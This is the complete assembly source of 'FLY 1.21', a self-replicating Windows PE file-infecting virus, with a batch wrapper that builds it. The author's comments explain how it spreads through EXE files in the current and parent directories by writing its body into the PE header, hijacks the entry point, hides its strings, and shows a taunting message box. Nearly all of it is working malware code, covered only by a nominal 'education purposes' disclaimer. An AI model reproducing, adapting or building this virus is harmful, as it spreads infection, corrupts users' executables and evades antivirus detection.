;@ECHO OFF ;GOTO MAKE COMMENT @ -=[ FLY ]=- a lame virus by yoda version: 1.21 Music..................borrowed Nirvana-Nevermind CD/Busta Rhymes/KKS/RunDMC Assembler..............MASM Editor.................UltraEdit32 Reason for coding......last school holiday day :) Target files...........PE32/PE32+ EXE files Payload................MessageBox if PC is already 30min up It was nice to find out that KAV added FLY 1.1 to its virii database as Win32.Small.1144. The edge is that they didn't find the "FLY" trademark in the header and so it rests in disinfected files :) This version is fully recoded. The old code was often less optimized and such things. FLY 1.2 infects 32/64 bit EXE files in the current and in all subdirectries (it's called dot dot methode, I think). Whereby I don't know whether infected PE32+ files will run...I think:NO...in this case you'll have to look at FLY as a PE32 infector with a PE32+ destruction feature :) The virus body is neither appended at the target file image nor it's written into a section (like the RelocationDirectory section - .reloc). First I patch the file image to make the SizeOfHeaders 0x1000...move sections physically, fix NT/ST headers... And after that the virus body is written into the PE header. I didn't include any BoundImportDirectory processing. This Directory is always (I think) stored in the PE Header (after the SectionHeaderTable). If present, it maybe gets overwritten, so I simply clear the BoundImport DataDirectory in the DataDirectoryEntryTable. The EntryPoint RVA in the header of the victim isn't changed. FLY assembles... PUSH ptr_to_virus_body RET ...at the EntryPoint and when the execution of the virus body is finished, it rewrites the orginal EntryPoint bytes and jumps to it. Because we don't have write access in the PE header in memory, one of the first steps FLY does is getting this access by the VirtualProtect API. I generally tried to avoid strings like "*.exe", "MZ", "MessageBoxA" in the virus body. This is reallized by different ways:obfuscation values, build strings on stack or by XORing the data partion of the virus. Any other protection schemes like Anti-Debugging, Polymorphism or things like that aren't used. Payload is a simply but topmost :) MessageBox if the PC is already 30min up. Disclaimer: ~~~~~~~~~~~ I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SOURCE CODE NOR IT'S COMPILED EXECUTABLE ! I JUST CODED "FLY" FOR EDUCATION PURPOSES ! History: ~~~~~~~~ 1.21: ( Virsu size: 0x715 Bytes ) - finally added SEH frame in "GetNTHeaders" routine 1.2: ( Virus size: 0x6D7 Bytes ) - all recoded (see above) - [...] 1.1: ( Virus size: 0x484 Bytes / 1156 Bytes ) - Code optimized a bit - Boring PER added - API string CRC method added - Minor bugfixes 1.0: ( Virus size: 0x560 Bytes / 1376 Bytes ) - first release yoda @ .386 .MODEL flat,stdcall OPTION CASEMAP : NONE ; ------ INCLUDE's ---------------------------------------------------------------------- INCLUDE \masm32\include\windows.inc INCLUDE \masm32\include\kernel32.inc INCLUDELIB \masm32\lib\kernel32.lib ; ------ STRUCTS------------------------------------------------------------------------- PUSHA_STRUCT STRUCT 1 _EDI DWORD ? _ESI DWORD ? _EBP DWORD ? _ESP DWORD ? _EBX DWORD ? _EDX DWORD ? _ECX DWORD ? _EAX DWORD ? PUSHA_STRUCT ENDS ;SEH_DATA STRUCT 1 ; dwNewESP DWORD ? ; dwNewEIP DWORD ? ;SEH_DATA ENDS IMAGE_OPTIONAL_HEADER64 STRUCT 1 Magic WORD ? MajorLinkerVersion BYTE ? MinorLinkerVersion BYTE ? SizeOfCode DWORD ? SizeOfInitializedData DWORD ? SizeOfUninitializedData DWORD ? AddressOfEntryPoint DWORD ? BaseOfCode DWORD ? ImageBase QWORD ? SectionAlignment DWORD ? FileAlignment DWORD ? MajorOperatingSystemVersion WORD ? MinorOperatingSystemVersion WORD ? MajorImageVersion WORD ? MinorImageVersion WORD ? MajorSubsystemVersion WORD ? MinorSubsystemVersion WORD ? Win32VersionValue DWORD ? SizeOfImage DWORD ? SizeOfHeaders DWORD ? CheckSum DWORD ? Subsystem WORD ? DllCharacteristics WORD ? SizeOfStackReserve QWORD ? SizeOfStackCommit QWORD ? SizeOfHeapReserve QWORD ? SizeOfHeapCommit QWORD ? LoaderFlags DWORD ? NumberOfRvaAndSizes DWORD ? DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>) IMAGE_OPTIONAL_HEADER64 ENDS IMAGE_NT_HEADERS64 STRUCT 1 Signature DWORD ? FileHeader IMAGE_FILE_HEADER <> OptionalHeader IMAGE_OPTIONAL_HEADER64 <> IMAGE_NT_HEADERS64 ENDS ; ------ EQU's -------------------------------------------------------------------------- OBFUSCATION_VAL EQU 018273645h FLY_BODY_SIZE EQU (FLY_END - FLY_START) FLY_TRADEMARK EQU "YLF" ; pasted in FileHeader.PointerToSymbolTable VIRUS_OFFSET EQU (01000h - FLY_BODY_SIZE) MIN_PAYLOAD_TICK EQU 30 * 60 * 1000 ; (30 min) ; ------ CODE --------------------------------------------------------------------------- .CODE ASSUME FS : NOTHING Main: CALL GetVersion ; The compiled exe won't run on Win2k without any Imports :( ; This call is just for the first generation FLY_START: ; INT 3 ;-> receive delta PUSHAD CALL get_delta get_delta: ADD DWORD PTR [ESP], OBFUSCATION_VAL LEA EBX, [OFFSET get_delta + OBFUSCATION_VAL] POP EBP SUB EBP, EBX ;-> get kernel ImageBase PUSH [ESP].PUSHA_STRUCT._ESP CALL GetKernelBase TEST EAX, EAX JZ total_quit MOV EDI, EAX ; EDI -> K32 base ;-> get write access for the virus body (in PE Header is usually ReadOnly access) SUB ESP, 16 MOV ESI, ESP ; ESI -> base ptr of our little stack frame MOV DWORD PTR [ESI], "triV" ; MOV DWORD PTR [ESI + 4], "Plau" ; MOV DWORD PTR [ESI + 8], "etor" ; MOV DWORD PTR [ESI + 12], "tc" ; build "VirtualProtect\0" str on stack PUSH 15 PUSH ESI PUSH EDI CALL GetProcAddr ADD ESP, 16 PUSH EAX ; reserve a DWORD on the stack as lpflOldProtect buff PUSH ESP PUSH PAGE_EXECUTE_READWRITE PUSH FLY_BODY_SIZE LEA EBX, [EBP + FLY_START] PUSH EBX CALL EAX ; modify page access via VirtualProtect POP EAX ;-> dexor our data partition MOV EBX, [EBP + dwEPRva] ; EBX -> EntryPoint RVA (arg1) CALL GetXorByte ; returns 0 in first generation PUSH EAX PUSH (Variable_Crypt_End - Variable_Crypt_Start) LEA EAX, [EBP + Variable_Crypt_Start] PUSH EAX CALL memxor MOV [EBP + dwK32Base], EDI ; now we can save the K32 base ;-> collect addresses of needed APIs CALL GrabAPIs ;-> PE infection MOV EBX, EBP CALL TraceAndInfectDirectory ;-> return to OS/original EntryPoint TEST EBP, EBP ; EBP == 0 -> first generation JNZ non_virgin_generation total_quit: POPAD RET ; return to OS non_virgin_generation: ;-> payload CALL DriveUserNutsHiHi ;-> move EntryPoint ptr to EDI of the popad'd regs MOV EAX, [EBP + dwImageBase] ADD EAX, [EBP + dwEPRva] MOV [ESP].PUSHA_STRUCT._EDI, EAX ;-> restore bytes at the EntryPoint PUSH 6 PUSH EAX LEA EAX, [EBP + bEntryData] PUSH EAX CALL memcpy POPAD JMP EDI ;-> jump to victim's EntryPoint ; ; Args: ; [ESP + 4] - initial ESP value ; ; Returns: ; ImageBase of Kernel32.dll or 0 in EAX ; ; Reserved Regs: NO ; GetKernelBase: ARG_1 EQU [ESP + 4] ;INT 3 ; wipe LOWORD of K32 ptr MOV ESI, ARG_1 MOV ESI, [ESI] ; ESI -> ptr into K32 SAR ESI, 16 ; SAL ESI, 16 ; ESI &= 0xFFFF0000 @@test_4_PE_hdr: PUSH ESI CALL GetNTHeaders TEST EAX, EAX JZ @F ; K32 PE hdr found ! XCHG EAX, ESI JMP @@exit_proc @@: SUB ESI, 000010000h JMP @@test_4_PE_hdr @@exit_proc: RET 4 ; ; Args: ; [ESP + 4] - ptr to an PE image ; EBP - delta ! ; ; Returns: ; the ptr to the NT headers of NULL in case of an error ; ; Reserved Regs: ALL ; GetNTHeaders: ARG_1 EQU [ESP + 4 + 2*4 + SIZEOF PUSHA_STRUCT] ; INT 3 PUSHAD ; set up SEH frame SUB EAX, EAX LEA EBX, [EBP + SehHandler] PUSH EBX PUSH FS:[EAX] MOV FS:[EAX], ESP ; process SUB EAX, EAX ; EAX -> 0 (result REG) MOV ESI, ARG_1 ; ESI -> pImage MOVZX EDX, WORD PTR [ESI] ADD EDX, 1234 SUB EDX, "ZM" + 1234 JNZ GetNTHeaders_exit MOV EDI, DWORD PTR [ESI].IMAGE_DOS_HEADER.e_lfanew MOV EDX, [EDI + ESI] SUB EDX, 4321 SUB EDX, "EP" - 4321 JNZ GetNTHeaders_exit LEA EAX, [EDI + ESI] GetNTHeaders_exit: SUB EBX, EBX POP FS:[EBX] ADD ESP, 4 MOV [ESP].PUSHA_STRUCT._EAX, EAX ; EAX -> popad'd REGs POPAD RET 4 SehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD ; INT 3 ;-> modify EIP and continue execution MOV EAX, pContext ; EAX -> context ptr MOV ECX, [EAX].CONTEXT.regEbp ; ECX -> debuggee's EBP LEA EBX, [ECX + GetNTHeaders_exit] MOV [EAX].CONTEXT.regEip, EBX MOV EAX, ExceptionContinueExecution RET SehHandler ENDP ; ; void* GetProcAddr(HINSTANCE hDLL, char* szAPI, DWORD dwcAPIStrSize); ; ; Returns: ; NULL - in case of an error ; ; Reserved Regs: Win32 API ; GetProcAddr: ARG_1 EQU [ESP + 4] ARG_2 EQU [ESP + 8] ARG_3 EQU [ESP + 12] PUSH EBX PUSH ESI PUSH EDI MOV EDX, [ESP + 4 + 12] ; EDX -> dll base ; get ptr to NT hdrs PUSH EDX CALL GetNTHeaders TEST EAX, EAX ; EAX -> ptr to NT hdrs JZ @@GetProcAddr_exit ; get ptr to ExportTable (PE32/PE32+ dependent code) CMP WORD PTR [EAX].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR32_MAGIC JNZ get_exp_table_rva_64 MOV EDI, [EAX].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress JMP @F get_exp_table_rva_64: MOV EDI, [EAX].IMAGE_NT_HEADERS64.OptionalHeader.DataDirectory[0].VirtualAddress @@: ADD EDI, EDX ; EDI -> exp table RVA MOV ESI, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; ESI -> exp symbol names chain RVA ADD ESI, EDX SUB EBX, EBX ; EBX = chain index process_name: ; compare API strings LODSD PUSHAD LEA EDI, [EAX + EDX] MOV ESI, [ESP + 8 + SIZEOF PUSHA_STRUCT + 12] MOV ECX, [ESP + 12 + SIZEOF PUSHA_STRUCT + 12] REPZ CMPSB POPAD JZ API_name_found_in_chain INC EBX CMP EBX, [EDI].IMAGE_EXPORT_DIRECTORY.NumberOfNames JNZ process_name ; (all names processed but nothing found) SUB EAX, EAX JZ @@GetProcAddr_exit API_name_found_in_chain: ; grab corresponding ordinal MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals ADD EAX, EDX ; EAX -> ordinal chain ptr MOVZX ECX, WORD PTR [EAX + EBX*2] ; ECX -> symbol ordinal ; finally get symbol RVA MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions ADD EAX, EDX ; EAX -> symbol RVA chain ptr MOV EAX, [EAX + ECX*4] ADD EAX, EDX ; EAX -> symbol ptr @@GetProcAddr_exit: POP EDI POP ESI POP EBX RET 12 ; ; Reserved Regs: NO ; GrabAPIs: LEA ESI, [EBP + OFFSET API_table] ; ESI -> first API table entry NextApiTableEntry: ; receive API addr of current struct MOVZX EDI, BYTE PTR [ESI] ; EDI -> API str length PUSH EDI LEA EAX, [ESI + 5] PUSH EAX PUSH [EBP + dwK32Base] CALL GetProcAddr INC ESI ; ESI += 1 MOV [ESI], EAX ; process next struct ADD ESI, EDI ADD ESI, 4 SUB EAX, EAX CMP BYTE PTR [ESI], AL JNZ NextApiTableEntry RET ; ; Args: ; EBX - delta ; ; Reserved Regs: NO ; TraceAndInfectDirectory PROC LOCAL WFD : WIN32_FIND_DATA LOCAL cPath[MAX_PATH] : BYTE LOCAL hFind : HANDLE ; get current directory LEA ESI, cPath ; ESI -> path buffer PUSH ESI PUSH MAX_PATH CALL [EBX + _GetCurrentDirectory] process_current_dir: PUSH EAX ; reserve path length PUSH ESI CALL [EBX + _SetCurrentDirectory] POP EAX LEA EDI, [ESI + EAX] MOV AX, "*\" STOSW MOV AX, "E." STOSW MOV AX, "EX" STOSW SUB EAX, EAX STOSB LEA EDI, WFD ; EDI -> WIN32_FIND_DATA ptr PUSH EDI PUSH ESI CALL [EBX + _FindFirstFile] MOV hFind, EAX INC EAX JZ trace_previous_dir next_file_in_dir: LEA EAX, [EDI].WIN32_FIND_DATA.cFileName PUSH EAX CALL InfectFile PUSH EDI PUSH hFind CALL [EBX + _FindNextFile] DEC EAX JZ next_file_in_dir trace_previous_dir: PUSH ESI CALL WipeLastDirInPath JC process_current_dir ; cleanup PUSH hFind CALL [EBX + _FindClose] TraceAndInfectDirectory_exit: RET TraceAndInfectDirectory ENDP ; ; if the last directory was successfully ripped from path string then the carry flag is set ; addionally the new path string size is returned in EAX ; ; Args: ; [ESP + 4] - path buffer ; ; Reserved Regs: Win32 API ; WipeLastDirInPath: ARG_1 EQU [ESP + 4] PUSH EBX PUSH ESI PUSH EDI CLC CLD SUB EAX, EAX MOV EDI, ARG_1 MOV ECX, MAX_PATH REPNZ SCASB STD MOV AL, "\" NEG ECX ADD ECX, MAX_PATH REPNZ SCASB TEST ECX, ECX JZ WipeLastDirInPath_exit REPNZ SCASB TEST ECX, ECX JZ WipeLastDirInPath_exit CMP ECX, 1 ; will result be a root path (e.g. C:\) ? JZ root_path MOV BYTE PTR [EDI + 1], 0 ; set new NUL terminator JMP SHORT ret_new_str root_path: MOV BYTE PTR [EDI + 2], 0 ret_new_str: LEA EAX, [ECX + 1] ; EAX -> return string size STC WipeLastDirInPath_exit: POP EDI POP ESI POP EBX CLD RET 4 ; ; Args: ; EBX - delta ; ; Reserved Regs: ALL ; ; Returns: void ; ; InfectFile PROC szFname LOCAL hFile : HANDLE LOCAL dwFSize : DWORD LOCAL dwc : DWORD LOCAL b64Bit : DWORD LOCAL dwHdrSizeDelta : DWORD ; LOCAL dwRealHdrSize : DWORD LOCAL dwFirstSecRO : DWORD LOCAL pFirstSecHdr : DWORD LOCAL dwMemBlockSize : DWORD LOCAL pVirusBody : DWORD ; LOCAL dwViriiOffset : DWORD ; Offset (without any Mem- or ImageBase) LOCAL dwVictimBase : DWORD PUSHAD ; -> get write access to the file and map it to memory XOR EAX, EAX PUSH EAX PUSH FILE_ATTRIBUTE_NORMAL PUSH OPEN_EXISTING PUSH EAX PUSH FILE_SHARE_WRITE + FILE_SHARE_READ PUSH GENERIC_WRITE + GENERIC_READ PUSH szFname CALL [EBX + _CreateFile] MOV hFile, EAX INC EAX JZ InfectFile_exit SUB EAX, EAx PUSH EAX PUSH hFile CALL [EBX + _GetFileSize] MOV dwFSize, EAX ADD EAX, 01000h ; add max hdr size to size of mem PUSH EAX PUSH GMEM_FIXED OR GMEM_ZEROINIT CALL [EBX + _GlobalAlloc] OR EAX, EAX JZ cleanup_free_mem MOV ESI, EAX ; ESI -> mem ptr SUB EAX, EAX PUSH EAX LEA EAX, dwc PUSH EAX PUSH dwFSize PUSH ESI PUSH hFile CALL [EBX + _ReadFile] ; -> get ptr to NT hdrs and check whether the file was already infect PUSH EBP MOV EBP, EBX PUSH ESI CALL GetNTHeaders POP EBP OR EAX, EAX JZ cleanup_free_mem MOV EDI, EAX ; EDI -> NT hdrs MOV EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable ADD EAX, OBFUSCATION_VAL CMP EAX, FLY_TRADEMARK + OBFUSCATION_VAL JZ cleanup_free_mem ;-> check for PE32+ SUB EAX, EAX CMP WORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR64_MAGIC SETZ AL MOV b64Bit, EAX PUSH EBX ; !!! reserve unneeded delta to stack ;-> get section hdr ptr MOV AX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader LEA EBX, [EAX + EDI + 4 + SIZEOF IMAGE_FILE_HEADER] ; EBX -> section hdr table ptr MOV pFirstSecHdr, EBX ; ;-> infect file image ; ; -> get real size of hdrs, test whether the virus body has enough space there SUB EDX, EDX MOV EAX, SIZEOF IMAGE_SECTION_HEADER MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections MUL ECX MOVZX EDX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader LEA EDX, [EAX + EDX + 4 + SIZEOF IMAGE_FILE_HEADER] ADD EDX, [ESI].IMAGE_DOS_HEADER.e_lfanew ; (EDX = real size of headers) ; MOV dwRealHdrSize, EDX NEG EDX ADD EDX, 01000h ; EDX -> delta to hdr with 0x1000 size CMP EDX, FLY_BODY_SIZE ; enough size in header ? JGE @F POP EBX JMP cleanup_free_mem @@: ; -> get the RawOffset of the first section SUB EDX, EDX DEC EDX ; EDX -> MAX_DWORD MOV EAX, EBX ; EAX -> first section header MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections scan_sec_hdr_for_low_RO: CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX JAE @F MOV EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData @@: ADD EAX, SIZEOF IMAGE_SECTION_HEADER ; EAX += sizeof(IMAGE_SECTION_HEADER) LOOP scan_sec_hdr_for_low_RO MOV dwFirstSecRO, EDX NEG EDX ADD EDX, 01000h MOV dwHdrSizeDelta, EDX POP EBX ; restore delta from stack -> EBX ; -> patch the file image, so that it'll have a SizeOfHeaders of 0x1000 ; move all sections by the calucalated delta back ; INT 3 MOV EDX, dwFirstSecRO NEG EDX ADD EDX, dwFSize ; EDX -> mem block size MOV dwMemBlockSize, EDX PUSH EDX PUSH GMEM_FIXED OR GMEM_ZEROINIT CALL [EBX + _GlobalAlloc] TEST EAX, EAX JZ cleanup_free_mem ; sections -> memory buffer XCHG EDX, EAX ; EDX -> mem block ptr PUSH dwMemBlockSize PUSH EDX MOV EAX, dwFirstSecRO ADD EAX, ESI ; EAX -> ptr to first section PUSH EAX CALL memcpy ; memory buffer -> new location for sections (offset + dwHdrSizeDelta) PUSH dwMemBlockSize LEA EAX, [ESI + 01000h] PUSH EAX PUSH EDX CALL memcpy PUSH EDI CALL [EBX + _GlobalFree] ;-> fix section header table PUSH EBX ; ! reserve EBX MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections MOV EAX, pFirstSecHdr ; EAX -> first section hdr MOV EDX, dwHdrSizeDelta ; EDX -> hdr delta SUB EBX, EBX ; EBX -> 0 fix_and_replace_section: CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EBX JZ @F ADD [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX @@: ADD EAX, SIZEOF IMAGE_SECTION_HEADER LOOP fix_and_replace_section POP EBX ; ! restore EBX ;-> insert virus body after the SectionHeaderTable ; INT 3 PUSHAD LEA EDI, [ESI + VIRUS_OFFSET] ; EDI -> ptr to the end of the SectionHeaderTable LEA ESI, [EBX + FLY_START] ; ESI -> start of the virus body MOV ECX, FLY_BODY_SIZE REP MOVSB POPAD ;-> insert EntryPoint RVA and ImageBase into virus body LEA EDX, [ESI + VIRUS_OFFSET] ; EDX -> virus body ptr (in victim) MOV pVirusBody, EDX ; save OEP PUSH DWORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint POP DWORD PTR [EDX + (OFFSET dwEPRva - OFFSET FLY_START)] ; save ImageBase MOV EAX, b64Bit DEC EAX JZ ImageBase_is_qword PUSH [EDI].IMAGE_NT_HEADERS.OptionalHeader.ImageBase JMP @F ImageBase_is_qword: PUSH DWORD PTR [EDI.IMAGE_NT_HEADERS64.OptionalHeader.ImageBase] @@: POP EAX MOV dwVictimBase, EAX MOV [EDX + (OFFSET dwImageBase - OFFSET FLY_START)], EAX ; -> redirect EntryPoint, i.e. ; Victim_EntryPoint: PUSH virii_entry_VA (5 bytes) ; RET (6 bytes) ;INT 3 ; find section belonging to the EntryPoint PUSHAD PUSH [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint MOVZX EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections PUSH EAX PUSH pFirstSecHdr CALL RvaToSection ; EAX -> sec hdr to which the EntryPoint RVA refers MOV [ESP].PUSHA_STRUCT._EAX, EAX POPAD TEST EAX, EAX JZ cleanup_free_mem ; save bytes at EntryPoint MOV EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint SUB EDX, [EAX].IMAGE_SECTION_HEADER.VirtualAddress ADD EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData ; EDX -> EntryPoint Offset ADD EDX, ESI ; EDX -> EntryPoint Ptr PUSH 6 MOV ECX, pVirusBody ADD ECX, (OFFSET bEntryData - OFFSET FLY_START) PUSH ECX PUSH EDX CALL memcpy ; assemble PUSH,RET at entry MOV BYTE PTR [EDX], 068h MOV ECX, VIRUS_OFFSET ADD ECX, dwVictimBase MOV DWORD PTR [EDX + 1], ECX MOV BYTE PTR [EDX + 5], 0C3h ; set write flag in EntryPoint section OR [EAX].IMAGE_SECTION_HEADER.Characteristics, 080000000h ;-> update NT hdrs MOV [EDI].IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders, 01000h LEA EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable MOV DWORD PTR [EAX], (FLY_TRADEMARK - OBFUSCATION_VAL) ADD DWORD PTR [EAX], (OBFUSCATION_VAL) ; change EntryPoint ;PUSH dwRealHdrSize ;POP [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint MOV EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint ; EDX -> Entry RVA ; clear BoundImport because if it had been present we overwrote it with the virus body LEA EDI, [EDI].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[11 * 8].VirtualAddress SUB EAX, EAX STOSD STOSD ;-> encrypt data parition PUSHAD MOV EBX, EDX CALL GetXorByte ; arg pushed above PUSH EAX PUSH (Variable_Crypt_End - Variable_Crypt_Start) LEA EAX, [ESI + (VIRUS_OFFSET + (Variable_Crypt_Start - FLY_START))] PUSH EAX CALL memxor POPAD ;-> write mem to file SUB EDI, EDI ; EDI -> 0 PUSH FILE_BEGIN PUSH EDI PUSH EDI PUSH hFile CALL [EBX + _SetFilePointer] PUSH EDI LEA EAX, dwc PUSH EAX MOV EAX, dwFSize ADD EAX, dwHdrSizeDelta PUSH EAX PUSH ESI PUSH hFile CALL [EBX + _WriteFile] cleanup_free_mem: PUSH ESI CALL [EBX + _GlobalFree] cleanup_file_handle: PUSH hFile CALL [EBX + _CloseHandle] InfectFile_exit: POPAD RET InfectFile ENDP ; ; Args: ; [ESP + 4] - ptr to first section header ; [ESP + 8] - number of sections ; [ESP + C] - dwRVA ; ; Returns: ; NULL in case of an error or PIMAGE_SECTION_HEADER ; ; ReservedRegs: NO ; RvaToSection: ARG_1 EQU [ESP + 4] ARG_2 EQU [ESP + 8] ARG_3 EQU [ESP + 12] ASSUME ESI : PTR IMAGE_SECTION_HEADER SUB EAX, EAX MOV ESI, ARG_1 ; ESI -> ptr to first section hdr MOV ECX, ARG_2 ; ECX -> number of sections MOV EDI, ARG_3 ; EDI -> target rva SUB EBX, EBX ; EBX -> 0 section_header_scan_loop: MOV EDX, [ESI].VirtualAddress ; RVA >= VirtualAddress ? CMP EDI, EDX JB @F CMP [ESI].Misc.VirtualSize, EBX ; VS == 0 (needed for Watcom files) JZ add_RawSize_instead ADD EDX, [ESI].Misc.VirtualSize ; RVA < VirtualAddress + VirtualSize ? JMP compare add_RawSize_instead: ADD EDX, [ESI].SizeOfRawData compare: CMP EDI, EDX JAE @F JMP scan_done @@: ADD ESI, SIZEOF IMAGE_SECTION_HEADER LOOP section_header_scan_loop ASSUME ESI : NOTHING scan_done: TEST ECX, ECX JZ @F XCHG EAX, ESI @@: RET 12 ; ; Args: ; [ESP + 4] - src ; [ESP + 8] - dest ; [ESP + C] - soue ; ; ReservedRegs: ALL ; memcpy: ARG_1 EQU [ESP + 4 + SIZEOF PUSHA_STRUCT] ARG_2 EQU [ESP + 8 + SIZEOF PUSHA_STRUCT] ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT] PUSHAD MOV ESI, ARG_1 MOV EDI, ARG_2 MOV ECX, ARG_3 REP MOVSB POPAD RET 12 ; ; Args: ; [ESP + 4] - src ; [ESP + 8] - size ; [ESP + C] - xor byte ; ; ReservedRegs: ALL ; memxor: ARG_1 EQU [ESP + 4 + SIZEOF PUSHA_STRUCT] ARG_2 EQU [ESP + 8 + SIZEOF PUSHA_STRUCT] ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT] PUSHAD MOV ESI, ARG_1 ; ESI -> data ptr MOV ECX, ARG_2 MOV EAX, ARG_3 ; EAX -> xor byte memxor_loop: XOR BYTE PTR [ESI], AL INC ESI LOOP memxor_loop POPAD RET 12 ; ; this is the payload ; ; ReservedRegs: ALL ; DriveUserNutsHiHi: ; PC already MIN_PAYLOAD_TICK seconds up ? CALL [EBP + _GetTickCount] CMP EAX, MIN_PAYLOAD_TICK JB DriveUserNutsHiHi_exit ; build "USER32\0" on stack SUB ESP, 8 MOV EDI, ESP ; User32 str on stack MOV DWORD PTR [EDI], "RESU" MOV DWORD PTR [EDI + 4], "23" ; get MessageBoxA addr PUSH EDI CALL [EBP + _LoadLibrary] ; EAX -> U32 base ADD ESP, 8 OR EAX, EAX JZ DriveUserNutsHiHi_exit LEA EDI, [EBP + MBStrSize] ; EDI -> API info (str size/str) MOVZX EBX, BYTE PTR [EDI] PUSH EBX INC EDI PUSH EDI PUSH EAX CALL GetProcAddr ; EAX -> MessageBoxA addr OR EAX, EAX JZ DriveUserNutsHiHi_exit ; show msg PUSH MB_SYSTEMMODAL OR MB_ICONWARNING OR MB_TOPMOST LEA EBX, [EBP + szMBCaption] PUSH EBX LEA EBX, [EBP + szMBText] PUSH EBX SUB EBX, EBX PUSH EBX CALL EAX DriveUserNutsHiHi_exit: RET ; ; Reserved Regs: NO ; ; Args: ; EBX - EntryPoint RVA ; ; Returns: xor byte to dexor loader data parition in EAX ; GetXorByte: SUB EAX, EAX SUB ECX, ECX ADD CL, 4 GetXorByte_loop: ADD AL, BL SHR EBX, 8 LOOP GetXorByte_loop RET ; ------ VARIABLES ---------------------------------------------------------------------- Loader_Variables: dwEPRva DD 0 ; 0 in first generation Variable_Crypt_Start: dwImageBase DD 0 ; 0 in first generation dwK32Base DD ? bEntryData DB 6 DUP (0FFh) MBStrSize DB 11 + 1 szMB DB "MessageBoxA", 0 szMBText DB "You stink.", 0 szMBCaption DB "FLY 1.21", 0 API_table: DB 20 + 1 _GetCurrentDirectory DD ? szGetCurrentDirectory DB "GetCurrentDirectoryA", 0 DB 20 + 1 _SetCurrentDirectory DD ? szSetCurrentDirectory DB "SetCurrentDirectoryA", 0 DB 14 + 1 _FindFirstFile DD ? szFindFirstFile DB "FindFirstFileA", 0 DB 13 + 1 _FindNextFile DD ? szFindNextFile DB "FindNextFileA", 0 DB 9 + 1 _FindClose DD ? szFindClose DB "FindClose", 0 DB 11 + 1 _CreateFile DD ? szCreateFile DB "CreateFileA", 0 DB 11 + 1 _CloseHandle DD ? szCloseHandle DB "CloseHandle", 0 DB 11 + 1 _GetFileSize DD ? szGetFileSize DB "GetFileSize", 0 DB 11 + 1 _GlobalAlloc DD ? szGlobalAlloc DB "GlobalAlloc", 0 DB 10 + 1 _GlobalFree DD ? szGlobalFree DB "GlobalFree", 0 DB 8 + 1 _ReadFile DD ? szReadFile DB "ReadFile", 0 DB 9 + 1 _WriteFile DD ? szWriteFile DB "WriteFile", 0 DB 14 + 1 _SetFilePointer DD ? szSetFilePointer DB "SetFilePointer", 0 DB 12 + 1 _LoadLibrary DD ? szLoadLibrary DB "LoadLibraryA", 0 DB 12 + 1 _GetTickCount DD ? szGetTickCount DB "GetTickCount", 0 dwcAPITableEnd DB 0 API_table_end: Loader_Variables_end: Variable_Crypt_End: FLY_END: end Main ; ------ END ---------------------------------------------------------------------------- :MAKE CLS \MASM32\BIN\ML /nologo /c /coff /Gz /Cp /Zp1 FLY.BAT \MASM32\BIN\LINK /nologo /SUBSYSTEM:WINDOWS /SECTION:.text,REW FLY.obj DEL *.OBJ ECHO. PAUSE CLS